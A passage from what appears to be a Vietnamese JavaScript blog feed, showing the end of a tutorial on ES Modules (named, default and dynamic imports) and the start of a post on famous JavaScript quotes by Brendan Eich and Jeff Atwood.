trị ứng với một object với tên mới:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">import</span> <span class="token operator">*</span> <span class="token keyword">as</span> myModule <span class="token keyword">from</span> <span class="token string">"./lib.js"</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>myModule<span class="token punctuation">.</span>x<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 1</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>myModule<span class="token punctuation">.</span>y<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// a</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>myModule<span class="token punctuation">.</span>z<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// {x: 1, y: 2}</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>myModule<span class="token punctuation">.</span><span class="token function">add</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 3</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token keyword">new</span> <span class="token class-name">myModule<span class="token punctuation">.</span>Utils</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">print</span><span class="token punctuation">(</span><span class="token string">"hi"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// hi</span></code></pre></div> <p><strong>Chú ý</strong>: Trong trường hợp này, module export và import luôn luôn là một object.</p> <h3 id="export-import-default" style="position:relative;"><a href="#export-import-default" aria-label="export import default permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Export, import default</h3> <p>Khác với trường hợp trên, trường hợp này luôn export và import trực tiếp với bất kỳ kiểu giá trị nào. Nghĩa là bạn export function thì khi import cũng là function,...</p> <p>Vì khi export default, mỗi file sẽ chỉ cho phép export default 1 giá trị, nên mình sẽ lấy ví dụ đồng thời cho cả export và import luôn.</p> <h4 id="export-import-default-biến" style="position:relative;"><a href="#export-import-default-bi%E1%BA%BFn" aria-label="export import default biến permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Export, import default biến</h4> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// export ở file lib.js</span> <span class="token keyword">let</span> x <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span> <span class="token keyword">export</span> <span class="token keyword">default</span> x<span class="token punctuation">;</span> <span class="token comment">// import ở file main.js</span> <span class="token keyword">import</span> variable <span class="token keyword">from</span> <span class="token string">"./lib.js"</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>variable<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 1</span></code></pre></div> <p>Khi bạn import, giá trị của variable sẽ tương ứng với giá trị export default. Do đó, variable tương ứng với x, nên có giá trị là 1.</p> <h4 id="export-import-default-function" style="position:relative;"><a href="#export-import-default-function" aria-label="export import default function permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Export, import default function</h4> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// export ở file lib.js</span> <span class="token keyword">export</span> <span class="token keyword">default</span> <span class="token keyword">function</span><span class="token punctuation">(</span><span class="token parameter">a<span class="token punctuation">,</span> b</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> a <span class="token operator">+</span> b<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">// hoặc</span> <span class="token keyword">function</span> <span class="token function">add</span><span class="token punctuation">(</span><span class="token parameter">a<span class="token punctuation">,</span> b</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> a <span class="token operator">+</span> b<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">export</span> <span class="token keyword">default</span> add<span class="token punctuation">;</span> <span class="token comment">// import ở file main.js</span> <span class="token keyword">import</span> func <span class="token keyword">from</span> <span class="token string">'./lib.js'</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">func</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 3</span></code></pre></div> <h4 id="export-import-default-class" style="position:relative;"><a href="#export-import-default-class" aria-label="export import default class permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Export, import default class</h4> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// export ở file lib.js</span> <span class="token keyword">export</span> <span class="token keyword">default</span> <span class="token keyword">class</span> <span class="token class-name">Utils</span> <span class="token punctuation">{</span> <span class="token function">print</span><span class="token punctuation">(</span><span class="token parameter">text</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>text<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token comment">// hoặc</span> <span class="token keyword">class</span> <span class="token class-name">Utils</span> <span class="token punctuation">{</span> <span class="token function">print</span><span class="token punctuation">(</span><span class="token parameter">text</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>text<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token keyword">export</span> <span class="token keyword">default</span> Utils<span class="token punctuation">;</span> <span class="token comment">// import ở file main.js</span> <span class="token keyword">import</span> Tools <span class="token keyword">from</span> <span class="token string">'./lib.js'</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token keyword">new</span> <span class="token class-name">Tools</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">print</span><span class="token punctuation">(</span><span class="token string">"hi"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// hi</span></code></pre></div> <h3 id="kết-hợp-export-import-theo-tên-và-default" style="position:relative;"><a href="#k%E1%BA%BFt-h%E1%BB%A3p-export-import-theo-t%C3%AAn-v%C3%A0-default" aria-label="kết hợp export import theo tên và default permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Kết hợp export, import theo tên và default</h3> <p>Bên trên, mình ví dụ tách biệt 2 kiểu export, import. Nhưng thực tế, bạn có thể sử dụng kết hợp chúng:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">export</span> <span class="token keyword">let</span> x <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span> <span class="token keyword">export</span> <span class="token keyword">var</span> y <span class="token operator">=</span> <span class="token string">"a"</span><span class="token punctuation">;</span> <span class="token keyword">export</span> <span class="token keyword">const</span> z <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token literal-property property">y</span><span class="token operator">:</span> <span class="token number">2</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">export</span> <span class="token keyword">function</span> <span class="token function">add</span><span class="token punctuation">(</span><span class="token parameter">a<span class="token punctuation">,</span> b</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> a <span class="token operator">+</span> b<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">export</span> <span class="token keyword">default</span> <span class="token keyword">class</span> <span class="token class-name">Utils</span> <span class="token punctuation">{</span> <span class="token function">print</span><span class="token punctuation">(</span><span class="token parameter">text</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>text<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span></code></pre></div> <p>Bên trên, mình chỉ export default Utils, còn lại là export thông thường. Khi đó, mình sẽ import như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">import</span> Tools<span class="token punctuation">,</span> <span class="token punctuation">{</span> x<span class="token punctuation">,</span> y<span class="token punctuation">,</span> z<span class="token punctuation">,</span> add <span class="token punctuation">}</span> <span class="token keyword">from</span> <span class="token string">"./lib.js"</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>x<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 1</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>y<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// a</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>z<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// {x: 1, y: 2}</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">add</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 3</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token keyword">new</span> <span class="token class-name">Tools</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">print</span><span class="token punctuation">(</span><span class="token string">"hi"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// hi</span></code></pre></div> <h3 id="dynamic-import" style="position:relative;"><a href="#dynamic-import" aria-label="dynamic import permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Dynamic import</h3> <p>Thực tế, cách import bên trên là <strong>static</strong>. Nghĩa là đoạn code liên quan đến module luôn luôn load ngay từ thời điểm đầu. Tuy nhiên, bạn cũng có thể import theo kiểu <strong>dynamic</strong>. Tức là bạn sẽ chỉ load script khi nào cần thiết.</p> <p>Ví dụ export:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">export</span> <span class="token keyword">let</span> x <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span> <span class="token keyword">export</span> <span class="token keyword">var</span> y <span class="token operator">=</span> <span class="token string">"a"</span><span class="token punctuation">;</span> <span class="token keyword">export</span> <span class="token keyword">const</span> z <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token literal-property property">y</span><span class="token operator">:</span> <span class="token number">2</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">export</span> <span class="token keyword">function</span> <span class="token function">add</span><span class="token punctuation">(</span><span class="token parameter">a<span class="token punctuation">,</span> b</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> a <span class="token operator">+</span> b<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">export</span> <span class="token keyword">class</span> <span class="token class-name">Utils</span> <span class="token punctuation">{</span> <span class="token function">print</span><span class="token punctuation">(</span><span class="token parameter">text</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>text<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span></code></pre></div> <p>Khi đó, cách dynamic import là:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token function">setTimeout</span><span class="token punctuation">(</span><span class="token keyword">async</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">let</span> <span class="token punctuation">{</span> x<span class="token punctuation">,</span> y<span class="token punctuation">,</span> z<span class="token punctuation">,</span> add<span class="token punctuation">,</span> Utils <span class="token punctuation">}</span> <span class="token operator">=</span> <span class="token keyword">await</span> <span class="token keyword">import</span><span class="token punctuation">(</span><span class="token string">"./lib.js"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>x<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 1</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>y<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// a</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>z<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// {x: 1, y: 2}</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">add</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 3</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token keyword">new</span> <span class="token class-name">Utils</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">print</span><span class="token punctuation">(</span><span class="token string">"hi"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// hi</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token number">2000</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p><strong>Chú ý</strong>: hàm <strong>setTimeout</strong> trên chỉ là ví dụ để thể hiện việc delay khi load module.</p> <p>Với cách <strong>dynamic import</strong> này, <strong>import</strong> sẽ trả về một Promise. Do đó, bạn có thể sử dụng kết hợp với <strong>async/await</strong> như trên.</p> <h2 id="lời-kết" style="position:relative;"><a href="#l%E1%BB%9Di-k%E1%BA%BFt" aria-label="lời kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Lời kết</h2> <p>Như vậy là mình đã trình bày xong những kiến thức cơ bản về ES Modules, cũng như cách sử dụng nó ngay trên trình duyệt.</p> <p>Theo bạn, việc sử dụng ES Modules trực tiếp trên trình duyệt có thực sự cần thiết? Để lại quan điểm của bạn xuống phần bình luận nhé!</p> <p>Xin chào và hẹn gặp lại, thân ái!</p> <p>Tham khảo:</p> <ul> <li><a href="https://developers.google.com/web/fundamentals/primers/modules">Using JavaScript modules on the web</a></li> <li><a href="https://flaviocopes.com/es-modules/">Introduction to ES Modules</a></li> </ul>[email protected]<![CDATA[Danh ngôn lập trình JavaScript - Phần 1]]><![CDATA[Danh ngôn là những tinh hoa trí tuệ chắt lọc, đúc kết lâu đời; những trải nghiệm cuộc sống phong phú, sâu sắc tích lũy qua bao thế hệ được diễn đạt bằng những câu ngắn gọn, ý nghĩa…]]>https://completejavascript.com/danh-ngon-lap-trinh-javascript-phan-1/https://completejavascript.com/danh-ngon-lap-trinh-javascript-phan-1/Sun, 23 Jul 2017 13:03:46 GMT<p>Danh ngôn <em>là những tinh hoa trí tuệ chắt lọc, đúc kết lâu đời; những trải nghiệm cuộc sống phong phú, sâu sắc tích lũy qua bao thế hệ được diễn đạt bằng những câu ngắn gọn, ý nghĩa hàm súc, đan kết với nhau thành những "chuỗi hạt giống tâm hồn" quý hiếm như đang chờ bạn chọn lựa, gieo trồng cho "mảnh vườn trí tuệ" của chính mình</em>.</p> <p>Đọc nghe có vẻ hơi <strong>sến sẩm</strong>. Theo tôi, danh ngôn đơn giản là "phát ngôn" của những danh nhân (người nổi tiếng) - là những kinh nghiệm được đúc kết qua quá trình học tập, lao động,...</p> <p>Bài viết này tôi sẽ giới thiệu với bạn 3 danh ngôn lập trình JavaScript của những lập trình viên "huyền thoại".</p> <h2 id="brendan-eich" style="position:relative;"><a href="#brendan-eich" aria-label="brendan eich permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Brendan Eich</h2> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 56.96969696969697%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAABxUlEQVQoz4XRTUsbQRjAcQUv/Q5CwUs99twP0EOhF6/tTTyIhx6kBwvWgCVBo8a3FMHYYj0EG6FoaIh6keBbfSFJqw2ubTLr7mY32ZfubnY3m83OPCUJCjapwv8yzPwY5pk2XBFwRXBt3tJpS6dtky1pV4aKLJ2ulvP1rUZ8o8b5Rm2uzUO1aOl0eGl+ZXF2YXx4I+SPhkNLQT+XSwH8IVgEVwJXBFwLO03Y1NCH4MS8/93c4MtsZPL79lrA52GzSVO/EthzuUjJRaqYzxS4n47FEafwLw7N+YO+t6HBF98WR5PrywHvSB6lGZTeikfisc97ia8Hu7Hc5altME1YRcvvpwLekZU3vZlPvuMvH8c8Q8zvpKmhs1SCyhxmzvZYlAZQW7/5VX/fo+7uWZ8nGZ5ZmJ4cHR6iqRMAlWAJiAxYIq7YamBYkoSLzodd7R0Pnj3vSe3v9g28fvzk6XkqAaA6Ftdy1HVcEUhVLBvsdnwtFl3djEUUiT492olGV+XCBTTddgtjk8Ey5ZoMQAlAB9CIwxOsAJSwI+LKf2UdGzQWftjKpabkNPmXrmRNDRkqKpeYO9g1tnlc5moLp0BqCTc/cS/+Cw+vOnegLIIrAAAAAElFTkSuQmCC'); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Always bet on JavaScript" title="Always bet on JavaScript" src="/static/f6da5de2bf3fbab11c4f05275cb9f668/7c811/always-bet-on-javascript-completejavascript.com_.png" srcset="/static/f6da5de2bf3fbab11c4f05275cb9f668/103f2/always-bet-on-javascript-completejavascript.com_.png 165w, /static/f6da5de2bf3fbab11c4f05275cb9f668/748ba/always-bet-on-javascript-completejavascript.com_.png 330w, /static/f6da5de2bf3fbab11c4f05275cb9f668/7c811/always-bet-on-javascript-completejavascript.com_.png 660w, /static/f6da5de2bf3fbab11c4f05275cb9f668/a27c6/always-bet-on-javascript-completejavascript.com_.png 700w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p><a href="https://vi.wikipedia.org/wiki/Brendan_Eich">Brendan Eich</a> chính là cha đẻ của ngôn ngữ lập trình <a href="/javascript/">JavaScript</a>. Câu danh ngôn lập trình này dịch ra là "luôn luôn đặt cược vào JavaScript".</p> <p>Câu nói này cho thấy sự tin tưởng tuyệt đối của Brendan Eich vào đứa con đẻ của mình. Ông tin rằng JavaScript sẽ trở thành một trong những <a href="/nhung-ngon-ngu-lap-trinh-nen-hoc-nam-2017/">ngôn ngữ lập trình phổ biến và đáng học nhất</a>.</p> <h2 id="jeff-atwood" style="position:relative;"><a href="#jeff-atwood" aria-label="jeff atwood permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Jeff Atwood</h2> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 56.96969696969697%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAABv0lEQVQoz42Sz0vbYBjH+wfsD1F2ES8eyjwqDifiQJh6EU8epqBjB7GCN8cOg80hVdRDQUXBgrtYUVsqtmlqu0h1qcm00ZDmlw1VkzR5kzevdKlBnbLBw8sLz/t5P9/34fVBU4CmYBv8MRGJR5d+hGf3dkP4/hrQOQeIbve58nm7jbWvQ70t/W3N3e2vVkKThnoBzRpsVYqe4zFsGzxyLkNzU4sj7+TlT4G3/uD3cUtn6Xwqf5SgSIwisZPjJP1nNTUOWZJ7S83sWOLmenCm2x9sa/jS/nJ1IWBo7BERx5ORAp3+ncfTya0svp3Fd2SBBHdBfF4wLLqyONwx3dk48bp++vNH7fqc+oURmegBtpVKRA5/xops7oxOk7l9RaJceQ0GOneQCE986O+qe9H3pnl+7hvQOUWiWeaQOc2yDFESKeSUHCgjVHIs6YEZ6FwGiwTGRntam94PDsS2w9W3ABHZEoIysmUHVFVe3YOrGYp0HieyeydkIpOOsQXCqvDuLB8BD6etsVChbPUCAglZErJdj/jk6b9g9RwKOUOhb8rMtXKmlgtqmdGuGKBz/wEbPKxw0OQhEJ1qCf/8WB58C2sjOiV+a5/mAAAAAElFTkSuQmCC'); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Any app can be written in JavaScript, will eventually be written in JavaScript" title="Any app can be written in JavaScript, will eventually be written in JavaScript" src="/static/4d0e0d510b791b9de5a64bfddfe0e8b4/7c811/any-app-can-be-written-in-JavaScript-will-eventually-be-written-in-JavaScript-completejavascript.com_.png" srcset="/static/4d0e0d510b791b9de5a64bfddfe0e8b4/103f2/any-app-can-be-written-in-JavaScript-will-eventually-be-written-in-JavaScript-completejavascript.com_.png 165w, /static/4d0e0d510b791b9de5a64bfddfe0e8b4/748ba/any-app-can-be-written-in-JavaScript-will-eventually-be-written-in-JavaScript-completejavascript.com_.png 330w, /static/4d0e0d510b791b9de5a64bfddfe0e8b4/7c811/any-app-can-be-written-in-JavaScript-will-eventually-be-written-in-JavaScript-completejavascript.com_.png 660w, /static/4d0e0d510b791b9de5a64bfddfe0e8b4/a27c6/any-app-can-be-written-in-JavaScript-will-eventually-be-written-in-JavaScript-completejavascript.com_.png 700w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p><a href="https://vi.wikipedia.org/wiki/Jeff_Atwood">Jeff Atwood</a> là nhà phát triển phần mềm, tác giả, blogger,... Anh ta chính là người đồng sáng lập nên trang web nổi tiếng mà mọi lập trình viên đều phải biết là Stack Overflow và Stack Exchange.</p> <p>Hiện nay, Jeff Atwood cũng đang viết blog tại trang <a href="https://blog.codinghorror.com/">Coding Horror</a>.</p> <p>Câu danh ngôn lập trình trên có thể được dịch là: "Bất kì một ứng dụng nào có thể được viết bằng JavaScript thì cuối cùng nó sẽ được viết bằng JavaScript".</p> <p>Theo tôi hiểu thì Jeff Atwood muốn đề cập tới vấn đề tốc độ triển khai phần mềm. JavaScript được thiết kế giúp nâng cao <a href="/hoc-lap-trinh-javascript-nhanh-hon/">hiệu suất làm việc</a> của lập trình viên.</p> <h2 id="douglas-crockford" style="position:relative;"><a href="#douglas-crockford" aria-label="douglas crockford permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Douglas 